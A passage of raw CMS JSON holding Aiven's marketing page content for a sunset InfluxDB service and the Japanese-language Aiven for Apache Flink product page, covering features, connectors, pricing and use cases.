pre-built dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"b5e081e3f7d7","_type":"block","children":[{"_key":"43bc72ca913e0","_type":"span","marks":[],"text":"Manage your InfluxDB cluster using Aiven Console (GUI), CLI or "},{"_key":"43bc72ca913e1","_type":"span","marks":["87ad39b179f1"],"text":"Terraform"},{"_key":"43bc72ca913e2","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"87ad39b179f1","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"532166d1611e","_type":"block","children":[{"_key":"6bb7cea0f3ff0","_type":"span","marks":[],"text":"Scale, fork databases, integrate to other services with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5039120f5ca3","_type":"block","children":[{"_key":"c7881430e6720","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7eb910e00ace","_type":"block","children":[{"_key":"0550958c0de70","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"696e451e8826","_type":"block","children":[{"_key":"870db77893220","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4458d72ebd22","_type":"block","children":[{"_key":"7e49c8a669620","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57b3de39350b","_type":"block","children":[{"_key":"6a88aa5d9dc70","_type":"span","marks":[],"text":"Automatic backups every 12 hours, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d2094c2ff4ab","_type":"block","children":[{"_key":"70f1c895bdec0","_type":"span","marks":["ce7e63212787"],"text":"Secure and compliant solution"},{"_key":"48b7b8f56588","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ce7e63212787","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first node now","variant":"centerColumn"},{"_key":"84a4708158952cfe003d9ae0b47433f6","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"subtitle":[{"_key":"56da842adf7b","_type":"block","children":[{"_key":"035d0d2986a5","_type":"span","marks":[],"text":"All-inclusive InfluxDB pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and multi-AZ available. Spin up nodes and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Pay only for what you use.","variant":"single-service"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=influxdb\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"ce874505e3bb","_type":"block","children":[{"_key":"721ee051ef880","_type":"span","marks":[],"text":"Starting at just $60 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime – at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Compare plans","variant":"default"}],"rounded":false,"subtitle":[{"_key":"7bafd57fa4bf","_type":"block","children":[{"_key":"6596166c5c870","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and multi-AZ available. Spin up nodes and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Aiven for InfluxDB® pricing: Pay only for what you use."},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"52e09d00ab2c","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"752f4f3da11f","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"rounded":false,"title":"FAQ"}],"seo":{"_type":"metaData","metaDescription":"Aiven for InfluxDB – fully managed time series database ✓ All-in-one open source cloud data platform ✓ Try it for free","metaImage":{"_type":"mainImage","asset":{"_ref":"image-981d7b2370a5cbfc961811d81886f8044609812d-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for InfluxDB®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed InfluxDB, InfluxDB as a Servce, Cloud InfluxDB\",\n \"description\": \"Aiven for InfluxDB is a high-performance time series database that allows you to ingest hundreds of thousands of data points per second on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Terraform support, Automatic configuration with Aiven for Grafana, REST API, Command line tooling, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/influxdb\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source time series database\",\n \"applicationSubCategory\": \"NoSQL database\"\n}","metaTitle":"Hosted InfluxDB TSDB as a service | Aiven"},"service":{"_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},"slug":{"_type":"slug","current":"/influxdb"},"title":"[DON'T USE SUNSET] InfluxDB"} {"__i18n_base":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-16T10:54:18Z","_id":"53f983e1-0b44-4570-8e1d-2f495cea3f7c__i18n_ja","_rev":"rAWuI3yYduKRvZqckPjdzj","_type":"product","_updatedAt":"2024-03-15T08:59:00Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Flink®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"24a6a584c04f","_type":"block","children":[{"_key":"e71a5fbb48280","_type":"span","marks":[],"text":"Apache Flinkをベースとした、イベント駆動型アプリケーションやストリーミング解析のニーズに応える、フルマネージドストリーミングSQLエンジンです。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"b58eb7ad0c32","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-4d7065905135f66cc4bace9cc5bbf9a7064df2e4-2500x1700-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/flink","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Apache Flink®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for Apache Flink®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"578dbec12e2e","_type":"block","children":[{"_key":"bb102e42c32d0","_type":"span","marks":[],"text":"Aiven for Apache Flinkで大量のイベントを処理"}],"markDefs":[],"style":"h3"},{"_key":"b30f172ee50a","_type":"block","children":[{"_key":"c905e1c4214a0","_type":"span","marks":[],"text":"フルマネージドの分散データストリーム処理テクノロジーを、ご希望のクラウド上にデプロイできます。イベントのリアルタイムなアラート、細分化、集計、フィルタリング、分析に最適です。"}],"markDefs":[],"style":"normal"},{"_key":"c445b6894858","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"f1ce284506d5","_type":"block","children":[{"_key":"c186727507cf0","_type":"span","marks":["d7f73f3275b4"],"text":"Aiven for Apache Flink入門(ドキュメント)"}],"markDefs":[{"_key":"d7f73f3275b4","_type":"link","href":"https://aiven.io/docs/products/flink/get-started"}],"style":"normal"},{"_key":"7e145701facb","_type":"block","children":[{"_key":"c186727507cf1","_type":"span","marks":["01a5b5605d18"],"text":"Apache Flink入門(ブログ)"}],"markDefs":[{"_key":"01a5b5605d18","_type":"internalLink","internalLink":{"_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"}}],"style":"normal"},{"_key":"2a75576c230d","_type":"block","children":[{"_key":"c186727507cf2","_type":"span","marks":["89695f4f361f"],"text":"リアルタイムなストリーミングインサイトを簡単に取得する方法(ブログ)"}],"markDefs":[{"_key":"89695f4f361f","_type":"internalLink","internalLink":{"_ref":"2CKVoUxT8ZzGnLm7Sr23gu","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"826854fc2e02","_type":"block","children":[{"_key":"1a1c1fa184670","_type":"span","marks":[],"text":"Apache Kafkaをデータソースに、Aiven for Apache Flinkをシンクに使用"}],"markDefs":[],"style":"h3"},{"_key":"5829dda5a9e2","_type":"block","children":[{"_key":"3365f61fac550","_type":"span","marks":[],"text":"フルマネージドの分散データストリーミングテクノロジーで、何百万件ものイベントを同時に処理できます。Aiven for Apache Flinkと内蔵コネクタで接続し、簡単なSQL言語でイベント処理を行うことができます。"}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"2e2eb4993ef7","_type":"block","children":[{"_key":"1a45d7d5491e","_type":"span","marks":["ba7121cd721d"],"text":"Apache Flink®とAiven for Apache Kafka®を活用する(ドキュメント)"}],"markDefs":[{"_key":"ba7121cd721d","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/flink-with-aiven-for-kafka"}],"style":"normal"},{"_key":"798d1c07af84","_type":"block","children":[{"_key":"62c847d555b8","_type":"span","marks":["63fcfc0fc42c"],"text":"Apache Flink®とApache Kafka®によるストリーミングSQLパイプラインの構築(ブログ)"}],"markDefs":[{"_key":"63fcfc0fc42c","_type":"link","href":"https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka"}],"style":"normal"},{"_key":"5c9d93f7da67","_type":"block","children":[{"_key":"37d6fe68ae7f","_type":"span","marks":["2cc98f430dee"],"text":"Apache Flink®とApache Kafka®によるリアルタイムの株式データ(ブログ)"}],"markDefs":[{"_key":"2cc98f430dee","_type":"link","href":"https://aiven.io/blog/real-time-stock-data-with-apache-flink-and-apache-kafka"}],"style":"normal"}]},{"_key":"a9cf1f26498e","_type":"textItem","content":[{"_key":"4cae4f32c263","_type":"block","children":[{"_key":"2bd2e5acfe690","_type":"span","marks":[],"text":"PostgreSQL CDCコネクタを使用した変更データの取り込み"}],"markDefs":[],"style":"h3"},{"_key":"10f2d63054f7","_type":"block","children":[{"_key":"86027f3d8813","_type":"span","marks":[],"text":"フルマネージドのSQLリレーショナルデータベースは、信頼性と豊富な機能セットを備え、非常に高いパフォーマンスを発揮します。Aiven for Apache Flinkと内臓コネクタで接続し、データの加工や細分化を行うことができます。"}],"markDefs":[],"style":"normal"},{"_key":"566bbeee49cc","_type":"block","children":[{"_key":"4c188c3d18c4","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"01f6714b2d83","_type":"block","children":[{"_key":"7df3fa54a6e6","_type":"span","marks":["0fa2e2e564b2"],"text":"Aiven for PostgreSQL(Webページ)"}],"markDefs":[{"_key":"0fa2e2e564b2","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}}],"style":"normal"},{"_key":"62940602a9c5","_type":"block","children":[{"_key":"3574517dbd070","_type":"span","marks":["005369924cdf"],"text":"Aiven for PostgreSQL®の変更データ取得のご紹介(ブログ)"}],"markDefs":[{"_key":"005369924cdf","_type":"internalLink","internalLink":{"_ref":"5wDYGN4Bu5srnQl4prrjqp","_type":"reference"}}],"style":"normal"},{"_key":"e35d6e17b29c","_type":"block","children":[{"_key":"e8d0e8386b8f0","_type":"span","marks":["3a13e3511b71"],"text":"PostgreSQL® CDCコネクタベースのApache Flink®を作成します(ドキュメント)"}],"markDefs":[{"_key":"3a13e3511b71","_type":"link","href":"https://aiven.io/docs/products/flink/howto/pg-cdc-connector"}],"style":"normal"}]},{"_key":"d662f52e1143","_type":"textItem","content":[{"_key":"a0b96f3ea750","_type":"block","children":[{"_key":"d73091f8ee0d","_type":"span","marks":["strong"],"text":"OpenSearchをAiven for Apache Flinkのデータシンクとして使用"}],"markDefs":[],"style":"h3"},{"_key":"e38a7a48f3a6","_type":"block","children":[{"_key":"42d4b8e82bf4","_type":"span","marks":[],"text":"Elasticsearchから派生したフルマネージドの検索・分析スイートです。Aiven for Apache Flinkと内臓コネクタで接続し、ストリーミングデータのリアルタイムビューを作成できます。"}],"markDefs":[],"style":"normal"},{"_key":"b8dfa8ee7e23","_type":"block","children":[{"_key":"9c6e40cffba6","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"6f2db0165021","_type":"block","children":[{"_key":"41d28b405859","_type":"span","marks":["f77f0fc619ea"],"text":"Aiven for OpenSearch(Webページ)"}],"markDefs":[{"_key":"f77f0fc619ea","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"},{"_key":"07d82c750219","_type":"block","children":[{"_key":"05a6cc8cd863","_type":"span","marks":["bf496b17f6fc"],"text":"Aiven for OpenSearch入門(ドキュメント)"}],"markDefs":[{"_key":"bf496b17f6fc","_type":"link","href":"https://aiven.io/docs/products/opensearch/get-started"}],"style":"normal"},{"_key":"0bbf1f678394","_type":"block","children":[{"_key":"e69acfa956e3","_type":"span","marks":["d3e1c3025bf7"],"text":"OpenSearch入門(ブログ)"}],"markDefs":[{"_key":"d3e1c3025bf7","_type":"internalLink","internalLink":{"_ref":"6ZvCHgvqQ4LdO9pcFMB13H","_type":"reference"}}],"style":"normal"}]},{"_key":"1be46a679f0f5ac20a9cb84a617550bd","_type":"textItem","content":[{"_key":"3c82de7985e2","_type":"block","children":[{"_key":"1d8628be055f0","_type":"span","marks":[],"text":"自社のApache KafkaクラスタをAiven for Apache Flinkに簡単に接続することができます"}],"markDefs":[],"style":"h3"},{"_key":"b6ac08d5e0fb","_type":"block","children":[{"_key":"d71be5e86f240","_type":"span","marks":[],"text":"既存のKafkaクラスターをAiven for Apache Flinkに簡単に接続することができます - 自己管理でも、お好みのマネージドベンダーを使用しても構いません。"}],"markDefs":[],"style":"normal"},{"_key":"b6ae2eb9ae83","_type":"block","children":[{"_key":"992bffb5bcbf","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"f2b483ee6d49","_type":"block","children":[{"_key":"1e34900829c40","_type":"span","marks":["34eb8fe595ec"],"text":"Apache Flink®とApache Kafka®でストリーミングSQLパイプラインを構築する(ブログ)"}],"markDefs":[{"_key":"34eb8fe595ec","_type":"internalLink","internalLink":{"_ref":"7IDTlcURHzZ8SEgvYlcy6Q","_type":"reference"}}],"style":"normal"},{"_key":"117583cf8e1e","_type":"block","children":[{"_key":"4fbf03308d7b0","_type":"span","marks":["1c70ea4f27cb"],"text":"Apache Flink®とApache Kafka®によるリアルタイムの株式データ(ブログ)"}],"markDefs":[{"_key":"1c70ea4f27cb","_type":"internalLink","internalLink":{"_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"}}],"style":"normal"}]},{"_key":"6cd806e10981","_type":"textItem","content":[{"_key":"40b5eb87f349","_type":"block","children":[{"_key":"116c5e18327a","_type":"span","marks":[],"text":"Flink と BigQuery コネクタを使用して、ストリーミングデータと分析ワークロードをつなぐ"}],"markDefs":[],"style":"h3"},{"_key":"2b5fc6d8dca2","_type":"block","children":[{"_key":"308832229500","_type":"span","marks":[],"text":"Flink と BigQuery コネクタを活用すれば、データストリームに対してリアルタイムで変換処理を行い、変換されたイベントを BigQuery へシームレスに連携させることができます。BigQuery では、これらのイベントデータを分析やデータウェアハウスのユースケースで活用できます。"}],"markDefs":[],"style":"normal"},{"_key":"fc26ec273e58","_type":"block","children":[{"_key":"9e888691fa59","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"e6c05a8c16c8","_type":"block","children":[{"_key":"86bbe93e3c5e","_type":"span","marks":["2e33db370062"],"text":"AivenによるストリーミングデータとGoogle BigQueryエコシステムの接続 (ブログ)"}],"markDefs":[{"_key":"2e33db370062","_type":"internalLink","internalLink":{"_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"}}],"style":"normal"},{"_key":"324862ca676e","_type":"block","children":[{"_key":"544cd9ce7c58","_type":"span","marks":["359a7f35d77d"],"text":"Integrate Aiven for Apache FlinkとGoogle BigQueryの統合 (ドキュメント)"}],"markDefs":[{"_key":"359a7f35d77d","_type":"link","href":"https://aiven.io/docs/products/flink/howto/connect-bigquery"}],"style":"normal"},{"_key":"c97d686bfaba","_type":"block","children":[{"_key":"3ee545a621af","_type":"span","marks":["6af2d75e9f9c"],"text":"Apache Flink向けオープンソース"},{"_key":"05d12675d6ec","_type":"span","marks":["e4683d3466c3"],"text":"BigQueryコネクタ (Github)"}],"markDefs":[{"_key":"6af2d75e9f9c","_type":"link","href":"https://github.com/aiven/bigquery-connector-for-apache-flink"},{"_key":"e4683d3466c3","_type":"link","href":"https://github.com/aiven/bigquery-connector-for-apache-flink"}],"style":"normal"}]},{"_key":"1eeba5519611","_type":"textItem","content":[{"_key":"ed00d3829ff2","_type":"block","children":[{"_key":"9e9e0f8fb441","_type":"span","marks":["strong"],"text":"Aivenのロギング・監視ツールと連携"}],"markDefs":[],"style":"h3"},{"_key":"0c7ea6e1b089","_type":"block","children":[{"_key":"099bf8cd8e1a","_type":"span","marks":[],"text":"M3、Grafana、OpenSearchなどのAivenサービスとの簡単な連携により、監視やロギングを強化できます。サーバやサービス固有のメトリクスを公開して、Flinkクラスタの健全性を監視します。"}],"markDefs":[],"style":"normal"},{"_key":"a4b509deda78","_type":"block","children":[{"_key":"60d2c08a8f2d","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"2e2aea58ef8c","_type":"block","children":[{"_key":"d3404775fca6","_type":"span","marks":["1b139f348758"],"text":"統合機能入門(ドキュメント)"}],"markDefs":[{"_key":"1b139f348758","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/create-integration"}],"style":"normal"},{"_key":"1ef1cff5bbfd","_type":"block","children":[{"_key":"81ebf1673100","_type":"span","marks":["95f72536d5fa"],"text":"Aiven製品すべての統合機能(Webページ)"}],"markDefs":[{"_key":"95f72536d5fa","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"dfacf3c3ad22","_type":"block","children":[{"_key":"388ccf3c2a640","_type":"span","marks":[],"text":"Apache Flinkを10分以内にフルパワーで起動し、実行することができます。Aiven for Apache Kafkaとのシームレスな統合により、毎分数百万のイベントを簡単に処理し、希望する宛先にデータを転送することができます。また、ログやメトリクスを統合する機能が追加され、システムのパフォーマンスを完全に把握することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Apache Flinkでできること","tools":[{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"flink"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bfe9f7a5b7b7","_type":"block","children":[{"_key":"d174927d6bf40","_type":"span","marks":[],"text":"Aiven for Apache KafkaとAiven for Apache Flinkを組み合わせることで、市場で最も簡単なイベントストリーム処理ソリューションが実現します。Apache FlinkとApache KafkaをAivenのプラットフォームで起動することで、ボタンを数回クリックするだけで簡単に2つのサービスを統合でき、同時に両方のサービスに対して同じSLAサポートチームによるサポートが提供されることになります。ストリーミングインフラストラクチャーの異なるコンポーネントに対して、別々に課金・請求されることがなくなります。\n"}],"markDefs":[],"style":"normal"}],"title":"Apache FlinkとApache Kafkaを同じ管理下に置く"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fb1c7ff49e96","_type":"block","children":[{"_key":"4c5a372bbcab0","_type":"span","marks":[],"text":"Apache Flinkは、使い慣れたSQL言語を使って、リアルタイムのストリーミング解析やイベント駆動型アプリケーションの構築を簡単に行うことができます。コーディングは不要です。\n"}],"markDefs":[],"style":"normal"}],"title":"コードを書かず、Apache FlinkシンプルなSQL文だけで実現"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aiven for Apache Flinkの価格には、すべてが含まれています。一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性が高い価格設定 - ネットワークコストは不要"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7dbc4b1b41fa","_type":"block","children":[{"_key":"e74248f50e060","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災難です。そのため、Aivenは99.99%のSLAを保証しています。さらに、万が一に備え、24時間365日、専門家によるサポート体制を整えています。\n"}],"markDefs":[],"style":"normal"}],"title":"99.99%のSLA - 24時間365日のサポート"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"61e424867c96","_type":"block","children":[{"_key":"b9ee4ab98bb30","_type":"span","marks":[],"text":"Apache Flinkは、データをイベントストリームとして捉え、それらのイベントをスケーラブルかつリアルタイムに処理することを可能にする新しいクラスのシステムの一部です。バッチ処理から強力なストリーム処理への移行を支援します。\nAiven for Apache Flinkサービスと、Aiven for Apache Kafkaの組み合わせは最適です。イベントのフィルタリング、細分化、集計、アラート、分析をリアルタイムに実行できるようになります。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for Apache Flink®サービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"f2ed220b44e7","_type":"block","children":[{"_key":"f6ff5e6822600","_type":"span","marks":[],"text":"境界外の値を警告したり異常なパターンを検出することで、即座にストリーミングデータに実用性を持たせることができます。"}],"markDefs":[],"style":"normal"},{"_key":"df9920be860c","_type":"block","children":[{"_key":"2ba99a0f80b10","_type":"span","marks":[],"text":"広告の最適化"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8329887a53e3","_type":"block","children":[{"_key":"9d1fc5dc239b0","_type":"span","marks":[],"text":"バイヤーパーソナライゼーション"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b3beab09307","_type":"block","children":[{"_key":"4dcd0f0840220","_type":"span","marks":[],"text":"リアルタイムの在庫管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6257bc3a1e9a","_type":"block","children":[{"_key":"f4dcee3b52fb0","_type":"span","marks":[],"text":"不正検知"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"86bfd7c8f5a1","_type":"block","children":[{"_key":"81f18ce0fe150","_type":"span","marks":[],"text":"株式取引"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"リアルタイムアラート","variant":"default"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"cd14e222d8f1","_type":"block","children":[{"_key":"f46d7b739ab10","_type":"span","marks":[],"text":"データストリームを時間軸で集計し、ストリーミング分析を構築します。データを統合されたAiven for OpenSearchサービスにプッシュし、ほぼリアルタイムで更新されたダッシュボードで可視化します。"}],"markDefs":[],"style":"normal"},{"_key":"8608aed77148","_type":"block","children":[{"_key":"a41935d888040","_type":"span","marks":[],"text":"ユーザの位置"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d638ec5c3284","_type":"block","children":[{"_key":"e03f5cf434240","_type":"span","marks":[],"text":"リアルタイムな在庫管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"08de07b4a766","_type":"block","children":[{"_key":"3aa797d6d52f0","_type":"span","marks":[],"text":"ITセキュリティ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e74f3ba6cefa","_type":"block","children":[{"_key":"e78345d676940","_type":"span","marks":[],"text":"A/Bテスト"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc590fa1c679","_type":"block","children":[{"_key":"0d78b4352ac90","_type":"span","marks":[],"text":"トレンド監視"}],"level":1,"l